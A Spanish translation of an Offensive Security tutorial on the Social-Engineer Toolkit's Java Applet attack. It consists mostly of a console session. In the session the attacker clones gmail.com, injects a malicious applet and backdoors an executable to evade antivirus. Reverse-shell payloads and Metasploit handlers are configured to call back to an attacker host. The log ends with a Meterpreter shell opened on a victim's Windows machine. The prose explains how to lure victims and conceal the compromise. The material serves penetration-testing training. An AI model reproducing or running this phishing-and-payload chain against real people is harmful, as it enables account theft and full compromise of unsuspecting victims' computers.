Ataque Applet Java

De www.metasploit-es.com.ar

Vector de Ataque Applet Java

El Applet Java es uno de los principales vectores de ataque en SET y tiene el ratio de exito mas alto. El Ataque Applet Java creara un Applet Java malicioso que una vez ejecutado, comprometera completamente a la victima. El truco con SET es que puedes clonar completamente un sitio web y una vez que la victima ha pulsado ejecutar, la redireccionara al sitio original haciendo el ataque mucho mas creible. Este vector de ataque afecta Windows, Linux, y OSX y puede comprometerlos todos ellos. Recuerda, si quieres personalizar este vector de ataque, edita config/set_config para cambiar la informacion del certificado auto-firmado. En este vector de ataque especifico, puedes seleccionar plantillas web que son sitios web predefinidos que ya han sido cosechados, o puedes importar tu propio sitio web. En este ejemplo utilizaremos el clonador de sitios, que clonara un sitio web para nosotros. Iniciemos SET y preparemos nuestro ataque.

  Select from the menu:
  1.  Spear-Phishing Attack Vectors
  2.  Website Attack Vectors
  3.  Infectious Media Generator
  4.  Create a Payload and Listener
  5.  Mass Mailer Attack
  6.  Teensy USB HID Attack Vector
  7.  SMS Spoofing Attack Vector
  8.  Third Party Modules
  9.  Update the Metasploit Framework
  10. Update the Social-Engineer Toolkit
  11. Help, Credits, and About
  12. Exit the Social-Engineer Toolkit
  Enter your choice: 2
  The Social-Engineer Toolkit "Web Attack" vector is a unique way of
  utilizing multiple web-based attacks in order to compromise the
  intended victim.
  Enter what type of attack you would like to utilize.
  The Java Applet attack will spoof a Java Certificate and
  deliver a metasploit based payload. Uses a customized
  java applet created by Thomas Werth to deliver
  the payload.
  The Metasploit browser exploit method will utilize select
  Metasploit browser exploits through an iframe and deliver
  a Metasploit payload.
  The Credential Harvester Method will utilize web cloning
  of a website that has a username and password field and
  harvest all the information posted to the website.
  The TabNabbing Method will wait for a user to move to a
  different tab, then refresh the page to something different.
  The Man Left in the Middle Attack Method was introduced by
  Kos and utilizes HTTP REFERER's in order to intercept fields
  and harvest data from them. You need to have an already vulnerable
  site and incorporate script src="http://YOURIP/". This could either
  be from a compromised site or through XSS.
  The web jacking attack method was introduced by white_sheep, Emgent
  and the Back|Track team. This method utilizes iframe replacements to
  make the highlighted URL link to appear legitimate however when clicked
  a window pops up then is replaced with the malicious link. You can edit
  the link replacement settings in the set_config if its to slow/fast.
  The multi-attack will add a combination of attacks through the web attack
  menu. For example you can utilize the Java Applet, Metasploit Browser,
  Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
  all at once to see which is successful.
  1. The Java Applet Attack Method
  2. The Metasploit Browser Exploit Method
  3. Credential Harvester Attack Method
  4. Tabnabbing Attack Method
  5. Man Left in the Middle Attack Method
  6. Web Jacking Attack Method
  7. Multi-Attack Web Method
  8. Return to the previous menu
  Enter your choice (press enter for default): 1
  The first method will allow SET to import a list of pre-defined
  web applications that it can utilize within the attack.
  The second method will completely clone a website of your choosing
  and allow you to utilize the attack vectors within the completely
  same web application you were attempting to clone.
  The third method allows you to import your own website, note that you
  should only have an index.html when using the import website
  functionality.
  [!] Website Attack Vectors [!]
  1. Web Templates
  2. Site Cloner
  3. Custom Import
  4. Return to main menu
  Enter number (1-4): 2
  SET supports both HTTP and HTTPS
  Example: http://www.thisisafakesite.com
  Enter the url to clone: https://gmail.com
  [*] Cloning the website: https://gmail.com
  [*] This could take a little bit...
  [*] Injecting Java Applet attack into the newly cloned website.
  [*] Filename obfuscation complete. Payload name is: tgbYm1k69
  [*] Malicious java applet website prepped for deployment
  What payload do you want to generate:
  Name:                                      Description:
  1. Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker.
  2. Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker.
  3. Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker.
  4. Windows Bind Shell                      Execute payload and create an accepting port on remote system.
  5. Windows Bind Shell X64                  Windows x64 Command Shell, Bind TCP Inline
  6. Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
  7. Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
  8. Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
  9. Import your own executable              Specify a path for your own executable
  Enter choice (hit enter for default): 2
  Below is a list of encodings to try and bypass AV.
  Select one of the below, 'backdoored executable' is typically the best.
  1. avoid_utf8_tolower (Normal)
  2. shikata_ga_nai (Very Good)
  3. alpha_mixed (Normal)
  4. alpha_upper (Normal)
  5. call4_dword_xor (Normal)
  6. countdown (Normal)
  7. fnstenv_mov (Normal)
  8. jmp_call_additive (Normal)
  9. nonalpha (Normal)
  10. nonupper (Normal)
  11. unicode_mixed (Normal)
  12. unicode_upper (Normal)
  13. alpha2 (Normal)
  14. No Encoding (None)
  15. Multi-Encoder (Excellent)
  16. Backdoored Executable (BEST)
  Enter your choice (enter for default): 16
  [-] Enter the PORT of the listener (enter for default): 443
  [-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
  [-] Backdoor completed successfully. Payload is now hidden within a legit executable.
  ********************************************************
  Do you want to create a Linux/OSX reverse_tcp payload
  in the Java Applet attack as well?
  ********************************************************
  Enter choice yes or no: yes
  Enter the port to listen for on OSX: 8080
  Enter the port to listen for on Linux: 8081
  Created by msfpayload (http://www.metasploit.com).
  Payload: osx/x86/shell_reverse_tcp
   Length: 65
  Options: LHOST=172.16.32.129,LPORT=8080
  Created by msfpayload (http://www.metasploit.com).
  Payload: linux/x86/shell/reverse_tcp
   Length: 50
  Options: LHOST=172.16.32.129,LPORT=8081
  ***************************************************
  Web Server Launched. Welcome to the SET Web Attack.
  ***************************************************
  [--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]
  [*] Launching MSF Listener...
  [*] This may take a few to load MSF...
  [-] ***
  [-] * WARNING: No database support: String User Disabled Database Support
  [-] ***
                                     _
                                    | |      o
    _  _  _    _ _|_  __,   ,    _  | |  __    _|_
   / |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
     |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                              /|
                              \|
         =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
  + -- --=[ 588 exploits - 300 auxiliary
  + -- --=[ 224 payloads - 27 encoders - 8 nops
         =[ svn r10268 updated today (2010.09.09)
  resource (src/program_junk/meta_config)> use exploit/multi/handler
  resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
  PAYLOAD => windows/meterpreter/reverse_tcp
  resource (src/program_junk/meta_config)> set LHOST 0.0.0.0
  LHOST => 0.0.0.0
  resource (src/program_junk/meta_config)> set LPORT 443
  LPORT => 443
  resource (src/program_junk/meta_config)> set ExitOnSession false
  ExitOnSession => false
  resource (src/program_junk/meta_config)> exploit -j
  [*] Exploit running as background job.
  resource (src/program_junk/meta_config)> use exploit/multi/handler
  resource (src/program_junk/meta_config)> set PAYLOAD osx/x86/shell_reverse_tcp
  PAYLOAD => osx/x86/shell_reverse_tcp
  resource (src/program_junk/meta_config)> set LHOST 172.16.32.129
  LHOST => 172.16.32.129
  resource (src/program_junk/meta_config)> set LPORT 8080
  LPORT => 8080
  resource (src/program_junk/meta_config)> set ExitOnSession false
  ExitOnSession => false
  [*] Started reverse handler on 0.0.0.0:443
  resource (src/program_junk/meta_config)> exploit -j
  [*] Starting the payload handler...
  [*] Exploit running as background job.
  resource (src/program_junk/meta_config)> use exploit/multi/handler
  resource (src/program_junk/meta_config)> set PAYLOAD linux/x86/shell/reverse_tcp
  PAYLOAD => linux/x86/shell/reverse_tcp
  resource (src/program_junk/meta_config)> set LHOST 172.16.32.129
  LHOST => 172.16.32.129
  resource (src/program_junk/meta_config)> set LPORT 8081
  LPORT => 8081
  resource (src/program_junk/meta_config)> set ExitOnSession false
  ExitOnSession => false
  resource (src/program_junk/meta_config)> set AutoRunScript migrate -f
  [*] Started reverse handler on 172.16.32.129:8080
  AutoRunScript => migrate -f
  resource (src/program_junk/meta_config)> exploit -j
  [*] Starting the payload handler...
  [*] Exploit running as background job.
  msf exploit(handler) >
  [*] Started reverse handler on 172.16.32.129:8081
  [*] Starting the payload handler...


En este ataque, hemos configurado nuestro escenario para clonar https://gmail.com y utilizar el vector de ataque meterpreter inverso en el puerto 443. Hemos utilizado el ejecutable con puerta trasera para tratar de puentear el anti-virus, y hemos configurado el multi-manejador de Metasploit para capturar las conexiones de vuelta. Si quieres utilizar un email con este vector de ataque, podrias editar config/set_config y cambiar WEBATTACK_EMAIL=OFF a WEBATTACK_EMAIL=ON. Cuando hagas que la victima pulse un enlace, o lo atraigas hacia tu sitio, vera algo parecido a esto:

SET 02.png


Tan pronto como la victima pulse ejecutar, se te presentara una shell de meterpreter, y la victima sera redireccionada de vuelta al sitio original de Google completamente ajeno a que ha sido comprometido.

  [*] Sending stage (748544 bytes) to 172.16.32.131
  [*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1183) at Thu Sep 09 10:06:57 -0400 2010
  msf exploit(handler) > sessions -i 1
  [*] Starting interaction with 1...
  meterpreter > shell
  Process 2988 created.
  Channel 1 created.
  Microsoft Windows XP [Version 5.1.2600]
  (C) Copyright 1985-2001 Microsoft Corp.
  C:\Documents and Settings\Administrator\Desktop>



© Offensive Security 2009

Original de www.offensive-security.com
Traducido por cbk999
Herramientas personales